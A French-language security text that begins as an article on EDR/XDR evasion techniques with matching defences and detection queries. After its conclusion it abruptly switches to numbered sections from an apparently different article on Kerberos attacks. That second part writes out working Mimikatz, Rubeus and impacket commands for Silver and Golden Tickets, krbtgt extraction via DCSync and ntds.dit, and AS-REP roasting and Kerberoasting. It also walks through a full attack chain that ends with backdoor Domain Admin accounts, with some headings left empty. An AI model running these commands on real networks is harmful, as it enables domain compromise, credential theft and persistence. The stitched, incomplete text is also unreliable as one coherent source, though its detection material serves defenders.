Evasion d’EDR/XDR : techniques courantes et comment les contrer

Résumé exécutif

Les solutions EDR/XDR sont au cœur de la détection moderne des intrusions. Les adversaires adaptent leurs tactiques pour contourner la surveillance : chiffrement in-memory, désactivation d’agents, contournement d’AMSI/ETW, injection « fileless », exploitation des exclusions et instrumentation directe. Cet article analyse les techniques d’évasion les plus répandues, explique leur fonctionnement technique et propose des contre-mesures basées sur la télémétrie mémoire, la résilience des agents, l’usage de canaris (honey tokens/process) et l’alignement des détections sur le comportement. L’objectif est d’aider les équipes SecOps, malware response et blue teams à renforcer la robustesse de leurs déploiements EDR/XDR.

Comprendre la surface d’attaque EDR/XDR

Les EDR collectent :

• Process, modules, chargements DLL.
• Command lines, scripts (via AMSI).
• Network connections.
• Fichiers, registry.

Les XDR agrègent avec logs réseau, email, identité. Les attaquants ciblent :

• L’agent (binaire, services, drivers).
• Les canaux de communication (TLS, API, telemetry).
• Les mécanismes hooking (AMSI, ETW, userland hooks).
• Les règles (YARA-L, signatures).

Techniques d’évasion principales

1. Injections process & reflectives : Reflective DLL, Process Hollowing, Early Bird APC. 2. AMSI bypass : patcher amsi.dll, hooking AmsiScanBuffer, manipuler amsiContext. 3. ETW bypass : patcher EtwEventWrite, EtwSetInformation. 4. EDR unhooking : restaurer sections .text originales des DLL monitorées (ntdll). 5. Direct syscalls : utiliser syscall table pour éviter hooks userland. 6. Signed binary proxy : abuser d’app signée (LOLBins). 7. Kill switch : arrêter services EDR via sc.exe ou WMI. 8. Tampering : désactiver drivers, supprimer clés registry, altérer permissions. 9. Exclusions : exploiter répertoires exclus pour exécuter payload. 10. Out-of-band execution : utiliser Hyper-V, GPU, BIOS pour échapper.

Injection réfléchie & process hollowing

Les malwares chargent un binaire en mémoire sans toucher disque :

• VirtualAllocEx + WriteProcessMemory + CreateRemoteThread.
• NtUnmapViewOfSection + MapViewOfFile.

EDR détectent via API hooking, heuristiques (entropy). Les attaquants utilisent syscall directs et manual mapping.

Contre-mesures

• Input telemetry : Kernel callbacks (PsSetCreateProcessNotifyRoutine) -> observe process creation.
• EDR kernel drivers inspect memory map.
• Memory scanning (YARA) sur sections RWX.
• ETW providers Microsoft-Windows-Threat-Intelligence.

AMSI bypass

AMSI (Anti-Malware Scan Interface) capture scripts (PowerShell, WSH, .NET). Bypass courants :

• amsi.dll patch (replace AmsiScanBuffer prologue mov eax, 0x80070057).
• amsiInitFailed = 1.
• Inline hooking AmsiScanBuffer pour toujours retourner AMSIRESULTCLEAN.
• Load library via Add-Type obfuscation, PowerShell 2.0 (no AMSI).

Défenses

• Bloquer PowerShell v2. (Set-ExecutionPolicy).
• EDR monitoring memory patches (integrity check).
• AppLocker/WDAC pour restreindre powershell.exe.
• Telemetry : ETW Microsoft-Windows-Antimalware-Scanning.
• Memory canaries (guard pages) sur amsi.dll.

ETW bypass

Les EDR utilisent ETW pour telemetry (Sysmon, MDE). Bypass :

• Patcher EtwEventWrite/EtwSetInformation.
• Disable ETW via registry (EtwDisable = 1).
• Unhook ntdll to bypass instrumentation.

Défenses

• Kernel-level ETW (difficile à patcher user).
• Randomized hooking (recalculate function).
• Monitoring for VirtualProtect on ETW functions.
• Detect NtProtectVirtualMemory on ntdll text sections.

Direct syscalls & syscall stomping

Les attaquants utilisent syscall direct pour éviter hooks :

• syswhispers, donut.
• syscall IDs hardcodés, Zw functions.
• syscall sleep (Halos).

Défense

• Kernel-level monitoring (EDR driver intercept).
• Shadow stack enforcement (Intel CET).
• Heuristics on unusual sequences.
• Alert on VirtualProtect + RWX.

EDR unhooking

Restore original ntdll.dll by mapping clean copy (from disk, known-good). EDR hooking userland undone.

Défense

• Integrity check (guard hooking).
• Randomized hooking offset per session.
• Kernel hooking (SSD).
• Monitor for LoadLibrary of ntdll to Section.

Exclusions & living-off-the-land

Adversaires repèrent AV exclusion list (registry, config). Ils drop payload dans exclusion path (e.g., C:\Windows\Temp\ granted).

Défense

• Minimiser exclusions, review regular.
• Monitor access to excluded directories.
• Use canary files (touch -> alert).

Tampering EDR agent

• sc stop .
• DeleteService.
• net stop Sense (Defender).
• powershell Remove-MpPreference -DisableRealtimeMonitoring.

Défense

• Tamper protection (MDE, CrowdStrike) -> require signed, kernel-level.
• Sysmon rule detect Stop Service for EDR.
• LAPS for local admin (no reuse).

Télémétrie mémoire et scanning

Modern EDR utilisent memory scanning :

• YARA rules on memory (Cobalt Strike).
• PE-sig detection in memory, entropy detection.
• Monitoring RWX region creation.

Les Blue Teams peuvent déployer Velociraptor, Memory Integrity (HVCI), Exploit Protection. Memory scanning periodic (EDR).

AMSI/ETW resilient architecture

• Forcer AMSI sur custom hosts (.NET).
• Deploy PowerShell logging (Script Block, Module). Even if bypass attempted, logs exist.
• Use Sysmon (EventID 22).

Canaris (honey tokens/process)

• Canary command line (ex : Invoke-Mimikatz in a dummy file) -> If executed, EDR triggers.
• Canary processes (fake LSASS) -> hooking detection.
• Canary credentials (AD).

Les canaris détectent adversaire internal reconnaissance/exploitation.

Observabilité ETW custom

Créer ETW provider custom monitor modifications :

• TraceLogging driver-level.
• ETW consumer compare EtwEventWrite.

Monitoring PAGE EXECUTEREADWRITE changes on amsi.dll.

index=sysmon EventCode=1 Image=\powershell.exe CommandLine="AmsiScanBuffer"

DeviceEvents
| where ActionType == "AntivirusTamperDetected"

DeviceImageLoadEvents
| where InitiatingProcessFileName == "powershell.exe"
| where FileName == "amsi.dll" and not FolderPath startswith "C:\Windows\System32"

rule AmsiPatch
{
  strings:
    $a = { B8 57 00 07 80 C3 }
  condition:
    $a in (pe.sections[0].virtualaddress .. pe.sections[0].virtualaddress + pe.sections[0].virtualsize)
}

EventID=13 TargetObject="HKLM\\SOFTWARE\\Microsoft\\Windows Defender"

DeviceEvents
| where ActionType startswith "Tamper"
| summarize count() by ActionType, DeviceName, AccountName

EventID=10 AND EventData.TargetImage LIKE '%\lsass.exe' AND TargetProcessFlags contains 'RWX'

SecurityEvent | where EventID == 5007 or EventID == 1116

Get-Process -Id $pid | ForEach-Object { (Get-ProcessMitigation -Id $.Id).Dlls } | Where { $.ASLR -eq 'NOTSET' }

DeviceProcessEvents
| where InitiatingProcessFileName in ('rundll32.exe','mshta.exe') and ProcessCommandLine has 'shellcode'

1. Trigger: EDR alert - AMSI bypass. 2. Tasks: gather process tree (EDR API), run osquery select from processes. 3. Decision: if critical asset -> isolate. 4. Collect forensics (memory, disk). 5. Notify channel (#incident). 6. Create ticket.

Documentation & knowledge management

• Maintain detection runbook wiki.
• Update knowledge base after each bypass observed.
• Provide code snippets for detection (Sigma).

Continual improvement loop

1. Detect incident. 2. Analyse root cause. 3. Update detection. 4. Update controls. 5. Train staff.

Collaboration with red teams

• Red teams share bypass TTP.
• Blue teams produce detection pack.
• Joint retrospectives.

Multi-vector detection

• Endpoint, Identity, Network -> correlated to reduce false positives.
• Example: tamper + suspicious OAuth app -> escalate.

Analytics pipeline details

• Data ingestion (Azure Data Explorer).
• Data parsing -> features (process tree).
• ML (logistic regression).
• Alerts -> SOAR.

Testing and simulation plan

• Quarterly simulation of EDR disable.
• Validate detection, response time.
• Document results.

Policy governance

• Security Steering Committee reviews EDR posture.
• Align with risk appetite.

Resource planning

• Ensure SOC staffing for 24/7 to respond to tamper.
• Provide training budget.

Additional detection queries

Defender for Endpoint (Advanced hunting)

DeviceEvents
| where ActionType == "AntivirusTamperBlocked"
| extend InitiatingProcessCommandLine
| summarize count() by DeviceName, InitiatingProcessCommandLine

DeviceImageLoadEvents
| where InitiatingProcessFileName in ("powershell.exe","powershellise.exe")
| where FileName == "amsi.dll" and SHA1 != "expected"

winlog.eventid: 4688 AND process.commandline: "Set-MpPreference"

• ptrace to disable audit. Use Yama restrict ptrace.
• LDPRELOAD to bypass EDR sensors. Monitor environment.
• SELinux -> set enforcing.

Integration with vuln management

• Patch vulnerabilities exploited to disable EDR (Privilege escalation).
• Keep OS updated -> ensure features available.

Business continuity

• Document fallback if EDR service outage.
• Ensure visibility via alternative sensors (Syslog).

Conclusion complémentaire

L’adaptation continue des attaquants nécessite une vigilance constante. Les organisations capables de combiner détection multi-signal, automatisation, mémoire forensics et collaboration pluridisciplinaire minimisent l’impact des tentatives d’évasion EDR/XDR.

Perspectives futures et recherche

Les laboratoires de recherche sécurité explorent :

• Automatisation de la détection de patch mémoire via instrumentation matérielle (Intel LBR, Arm MTE).
• Graph neural networks pour détecter des chaînes d’événements complexes typiques des attaques fileless.
• Isolation micro-VM (Windows Defender Application Guard) généralisée pour limiter l’impact des contournements.
• EDR dans conteneurs et environnements serverless : instrumentation eBPF, capture syscalls avec faible overhead.

Les entreprises devraient suivre les publications d’ACM CCS, IEEE S&P, Black Hat, ainsi que les blogs de Microsoft, SentinelOne, CrowdStrike. Le partage d’expérience et la participation aux programmes MITRE Engenuity ATT&CK Evaluations fournissent un retour précieux sur les lacunes et ergonomie des produits.

Bibliographie conseillée

• Microsoft. Designing resilient EDR detections.
• SpecterOps. Operating with the End in Mind: EDR Evasion.
• MDSec. Bypassing Endpoint Detection and Response (blog series).
• Red Canary. Threat Detection Report (section EDR trends).
• MITRE D3FEND Knowledge Graph.

Note finale

La robustesse des plateformes EDR/XDR réside dans leur capacité à observer, corréler et réagir face à des adversaires créatifs. En investissant dans la télémétrie mémoire, la supervision AMSI/ETW, l’usage de canaris, l’automatisation SOAR et la culture de tests continus, les organisations transforment leur déploiement EDR en un système adaptatif capable de résister aux évasions les plus sophistiquées.

En dernière analyse, l’équation se résume à une boucle : observer, comprendre, adapter. Les équipes qui institutionnalisent cette boucle construisent un avantage défensif durable et gardent une longueur d’avance face aux contournements. Continuer à mesurer l’efficacité des contrôles, à auditer le déploiement terrain et à partager les retours d’expérience avec la communauté sécurité est indispensable pour maintenir ce cycle vertueux. C’est en combinant résilience technologique, discipline opérationnelle et apprentissage collectif que les organisations transformeront l’EDR/XDR en système nerveux central de leur stratégie de défense. La vigilance reste permanente. Toujours observer, toujours adapter, toujours améliorer. Résilience.

6. Silver Ticket : falsification de tickets de service

6.1 Principe et mécanisme

Un Silver Ticket est un ticket de service forgé sans interaction avec le KDC. Si un attaquant obtient le hash NTLM (ou la clé AES) d'un compte de service, il peut créer des tickets de service valides pour ce service sans que le DC ne soit contacté. Le ticket forgé contient un PAC (Privilege Attribute Certificate) arbitraire, permettant à l'attaquant de s'octroyer n'importe quels privilèges pour le service ciblé.

Contrairement au Golden Ticket qui forge un TGT, le Silver Ticket forge directement un Service Ticket, ce qui le rend plus discret car il ne génère pas d'événement 4768 (demande de TGT) ni 4769 (demande de ST) sur le DC.

6.2 Création et injection de Silver Tickets

# Création d'un Silver Ticket pour le service CIFS
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server01.domain.local /service:cifs /rc4:serviceaccounthash /ptt

# Silver Ticket pour service HTTP (accès web avec IIS/NTLM)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:webapp.domain.local /service:http /aes256:serviceaes256key /ptt

# Silver Ticket pour LDAP (accès DC pour DCSync)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:dc01.domain.local /service:ldap /rc4:dccomputerhash /ptt

# Silver Ticket pour HOST (WMI/PSRemoting)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server02.domain.local /service:host /rc4:computerhash /ptt

6.3 Cas d'usage spécifiques par service

6.4 Détection des Silver Tickets

# Activer la validation PAC stricte (GPO)
Computer Configuration > Policies > Windows Settings > Security Settings > 
Local Policies > Security Options > 
"Network security: PAC validation" = Enabled

# Script PowerShell pour corréler accès et tickets KDC
$timeframe = (Get-Date).AddHours(-1)
$kdcEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768,4769;StartTime=$timeframe}
$accessEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;StartTime=$timeframe} | 
    Where-Object {$_.Properties[8].Value -eq 3} # Logon type 3 (network)

# Identifier les accès sans ticket KDC correspondant
$accessEvents | ForEach-Object {
    $accessTime = $_.TimeCreated
    $user = $_.Properties[5].Value
    $matchingKDC = $kdcEvents | Where-Object {
        $_.Properties[0].Value -eq $user -and 
        [Math]::Abs(($_.TimeCreated - $accessTime).TotalSeconds) -lt 30
    }
    if (-not $matchingKDC) {
        Write-Warning "Accès suspect sans ticket KDC: $user à $accessTime"
    }
}

7. Golden Ticket : compromission totale du domaine

7.1 Principe et impact

Le Golden Ticket représente l'apex de la compromission Kerberos. En obtenant le hash du compte krbtgt (le compte de service utilisé par le KDC pour signer tous les TGT), un attaquant peut forger des TGT arbitraires pour n'importe quel utilisateur, y compris des comptes inexistants, avec des privilèges et une durée de validité de son choix (jusqu'à 10 ans).

Un Golden Ticket offre une persistance exceptionnelle : même après la réinitialisation de tous les mots de passe du domaine, l'attaquant conserve son accès tant que le compte krbtgt n'est pas réinitialisé (opération délicate nécessitant deux réinitialisations espacées).

7.2 Extraction du hash krbtgt

L'obtention du hash krbtgt nécessite généralement des privilèges d'administrateur de domaine ou l'accès physique/système à un contrôleur de domaine. Plusieurs techniques permettent cette extraction :

# DCSync du compte krbtgt
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# DCSync de tous les comptes (dump complet)
mimikatz # lsadump::dcsync /domain:domain.local /all /csv

# DCSync depuis Linux avec impacket
python3 secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Création d'une copie shadow avec ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\temp\ntds_backup" q q

# Extraction avec secretsdump (impacket)
python3 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# Extraction avec DSInternals (PowerShell)
$key = Get-BootKey -SystemHivePath 'C:\temp\SYSTEM'
Get-ADDBAccount -All -DBPath 'C:\temp\ntds.dit' -BootKey $key | 
    Where-Object {$_.SamAccountName -eq 'krbtgt'}

7.3 Forge et utilisation du Golden Ticket

# Golden Ticket basique (RC4)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ptt

# Golden Ticket avec AES256 (plus discret)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /aes256:krbtgt_aes256_key /ptt

# Golden Ticket avec durée personnalisée (10 ans)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /endin:5256000 /renewmax:5256000 /ptt

# Golden Ticket pour utilisateur fictif
kerberos::golden /user:FakeAdmin /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /id:500 /groups:512,513,518,519,520 /ptt

# Exportation du ticket vers fichier
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ticket:golden.kirbi

# Injection du ticket dans la session
mimikatz # kerberos::ptt golden.kirbi

# Vérification du ticket injecté
klist

# Utilisation du ticket pour accès DC
dir \\dc01.domain.local\C$
psexec.exe \\dc01.domain.local cmd

# Création de compte backdoor
net user backdoor P@ssw0rd! /add /domain
net group "Domain Admins" backdoor /add /domain

# DCSync pour maintenir la persistance
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator

7.4 Détection avancée des Golden Tickets

# Script de détection des anomalies Kerberos
# Recherche des authentifications sans événement TGT correspondant
$endTime = Get-Date
$startTime = $endTime.AddHours(-24)

$logons = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4624
    StartTime=$startTime
} | Where-Object {
    $_.Properties[8].Value -eq 3 -and # Logon Type 3
    $_.Properties[9].Value -match 'Kerberos'
}

$tgtRequests = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4768
    StartTime=$startTime
} | Group-Object {$_.Properties[0].Value} -AsHashTable

foreach ($logon in $logons) {
    $user = $logon.Properties[5].Value
    $time = $logon.TimeCreated
    
    if (-not $tgtRequests.ContainsKey($user)) {
        Write-Warning "Golden Ticket suspect: $user à $time (aucun TGT)"
    }
}

# Détection de tickets avec durée de vie anormale
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768} |
    Where-Object {
        $ticketLifetime = $_.Properties[5].Value
        $ticketLifetime -gt 43200 # > 12 heures
    } | ForEach-Object {
        Write-Warning "Ticket avec durée anormale: $($_.Properties[0].Value)"
    }

8. Chaîne d'attaque complète : scénario réel

8.1 Scénario : De l'utilisateur standard au Domain Admin

Examinons une chaîne d'attaque complète illustrant comment un attaquant peut progresser depuis un compte utilisateur standard jusqu'à la compromission totale du domaine en exploitant les vulnérabilités Kerberos.

Phase 1 : Reconnaissance initiale (J+0, H+0)

# Compromission initiale : phishing avec accès VPN
# Énumération du domaine avec PowerView
Import-Module PowerView.ps1

# Identification du domaine et des DCs
Get-Domain
Get-DomainController

# Recherche de comptes sans préauthentification
Get-DomainUser -PreauthNotRequired | Select samaccountname,description

# Sortie : svc_reporting (compte de service legacy)

# Énumération des SPNs
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname

# Sortie : 
# - svc_sql : MSSQLSvc/SQL01.corp.local:1433
# - svc_web : HTTP/webapp.corp.local

Phase 2 : AS-REP Roasting (J+0, H+1)

# Extraction du hash AS-REP pour svc_reporting
.\Rubeus.exe asreproast /user:svc_reporting /format:hashcat /nowrap

# Hash obtenu : [email protected]:8a3c...

# Craquage avec Hashcat
hashcat -m 18200 asrep.hash rockyou.txt -r best64.rule

# Mot de passe craqué en 45 minutes : "Reporting2019!"

# Validation des accès
net use \\dc01.corp.local\IPC$ /user:corp\svc_reporting Reporting2019!

Phase 3 : Kerberoasting et compromission de service (J+0, H+2)

# Avec le compte svc_reporting, effectuer du Kerberoasting
.\Rubeus.exe kerberoast /user:svc_sql /nowrap

# Hash obtenu pour svc_sql (RC4)
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local:1433*$7f2a...

# Craquage (6 heures avec GPU)
hashcat -m 13100 tgs.hash rockyou.txt -r best64.rule

# Mot de passe : "SqlService123"

# Énumération des privilèges de svc_sql
Get-DomainUser svc_sql -Properties memberof

# Découverte : membre du groupe "SQL Admins" 
# Ce groupe a GenericAll sur le groupe "Server Operators"

Phase 4 : Élévation via délégation RBCD (J+0, H+8)

# Vérification des permissions avec svc_sql
Get-DomainObjectAcl -Identity "DC01$" | ? {
    $_.SecurityIdentifier -eq (Get-DomainUser svc_sql).objectsid
}

# Découverte : WriteProperty sur msDS-AllowedToActOnBehalfOfOtherIdentity

# Création d'un compte machine contrôlé
Import-Module Powermad
$password = ConvertTo-SecureString 'AttackerP@ss123!' -AsPlainText -Force
New-MachineAccount -MachineAccount EVILCOMPUTER -Password $password

# Configuration RBCD sur DC01
$ComputerSid = Get-DomainComputer EVILCOMPUTER -Properties objectsid | 
    Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC01 | Set-DomainObject -Set @{
    'msds-allowedtoactonbehalfofotheridentity'=$SDBytes
}

# Exploitation S4U pour obtenir ticket Administrator vers DC01
.\Rubeus.exe s4u /user:EVILCOMPUTER$ /rc4:computerhash \
    /impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local /ptt

# Accès au DC comme Administrator
dir \\dc01.corp.local\C$

Phase 5 : Extraction krbtgt et Golden Ticket (J+0, H+10)

# DCSync depuis le DC compromis
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# Hash krbtgt obtenu :
# NTLM: 8a3c5f6e9b2d1a4c7e8f9a0b1c2d3e4f
# AES256: 2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f...

# Obtention du SID du domaine
whoami /user
# S-1-5-21-1234567890-1234567890-1234567890

# Création du Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /aes256:2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f... \
    /endin:5256000 /renewmax:5256000 /ptt

# Validation : accès total au domaine
net group "Domain Admins" /domain
psexec.exe \\dc01.corp.local cmd

# Établissement de persistance multiple
# 1. Création de compte backdoor
net user h4ck3r Sup3rS3cr3t! /add /domain
net group "Domain Admins" h4ck3r /add /domain

# 2. Modification de la GPO par défaut pour ajout de tâche planifiée
# 3. Création de SPN caché pour Kerberoasting personnel
# 4. Exportation de tous les hashes du domaine

8.2 Timeline et indicateurs de compromission

9. Architecture de détection et réponse

9.1 Stack de détection recommandée

Une détection efficace des attaques Kerberos nécessite une approche en profondeur combinant plusieurs technologies et méthodes.

# Détection AS-REP Roasting
index=windows sourcetype=WinEventLog:Security EventCode=4768 Pre_Authentication_Type=0
| stats count values(src_ip) as sources by user
| where count > 5
| table user, count, sources

# Détection Kerberoasting (multiples TGS-REQ avec RC4)
index=windows sourcetype=WinEventLog:Security EventCode=4769 Ticket_Encryption_Type=0x17
| stats dc(Service_Name) as unique_services count by src_ip user
| where unique_services > 10 OR count > 20

# Détection DCSync
index=windows sourcetype=WinEventLog:Security EventCode=4662 
    Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*" OR 
    Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
| where user!="*$" AND user!="NT AUTHORITY\\SYSTEM"
| table _time, user, dest, Object_Name

# Détection Golden Ticket (authent sans TGT)
index=windows sourcetype=WinEventLog:Security EventCode=4624 Logon_Type=3 Authentication_Package=Kerberos
| join type=left user _time [
    search index=windows sourcetype=WinEventLog:Security EventCode=4768
    | eval time_window=_time
    | eval user_tgt=user
]
| where isnull(user_tgt)
| stats count by user, src_ip, dest

9.2 Playbook de réponse aux incidents

# Script de réponse d'urgence - Reset krbtgt
# À exécuter depuis un DC avec DA privileges

# Phase 1 : Collecte d'informations
$domain = Get-ADDomain
$krbtgt = Get-ADUser krbtgt -Properties PasswordLastSet, msDS-KeyVersionNumber

Write-Host "[+] Domaine: $($domain.DNSRoot)"
Write-Host "[+] Dernier changement mot de passe krbtgt: $($krbtgt.PasswordLastSet)"
Write-Host "[+] Version clé actuelle: $($krbtgt.'msDS-KeyVersionNumber')"

# Phase 2 : Premier reset
Write-Host "[!] Premier reset du compte krbtgt..."
$newPassword = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword -Reset

Write-Host "[+] Premier reset effectué. Attendre 24h avant le second reset."
Write-Host "[!] Vérifier la réplication AD avant de continuer."

# Vérification de la réplication
repadmin /showrepl

# Phase 3 : Après 24h - Second reset
Write-Host "[!] Second reset du compte krbtgt..."
$newPassword2 = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword2 -Reset

Write-Host "[+] Reset krbtgt terminé. Tous les tickets Kerberos précédents sont invalidés."

# Phase 4 : Actions post-reset
Write-Host "[!] Actions recommandées:"
Write-Host "1. Forcer la reconnexion de tous les utilisateurs"
Write-Host "2. Redémarrer tous les services utilisant des comptes de service"
Write-Host "3. Vérifier les GPOs et objets AD suspects"
Write-Host "4. Auditer les comptes créés récemment"

# Audit rapide
Get-ADUser -Filter {Created -gt (Get-Date).AddDays(-7)} | 
    Select Name, Created, Enabled